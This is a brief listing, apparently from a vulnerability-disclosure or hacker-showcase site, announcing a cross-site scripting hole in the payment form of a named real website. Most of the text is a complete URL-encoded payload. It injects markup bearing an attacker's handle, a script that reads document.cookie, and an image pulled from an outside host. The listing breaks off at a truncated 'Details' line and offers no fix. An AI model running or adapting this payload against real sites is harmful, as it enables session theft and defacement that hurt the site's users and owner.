jainjagruti.in XSS vulnerability

Vulnerable URL: http://www.jainjagruti.in/paymentform.php?years=5%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E%3Cimg%20src=%22https://images.cooltext.com/4956678.gif%22%20width=%22166%22%20height=%2270%22%20alt=%22m0ns7er%22%20/%3E Details: Description...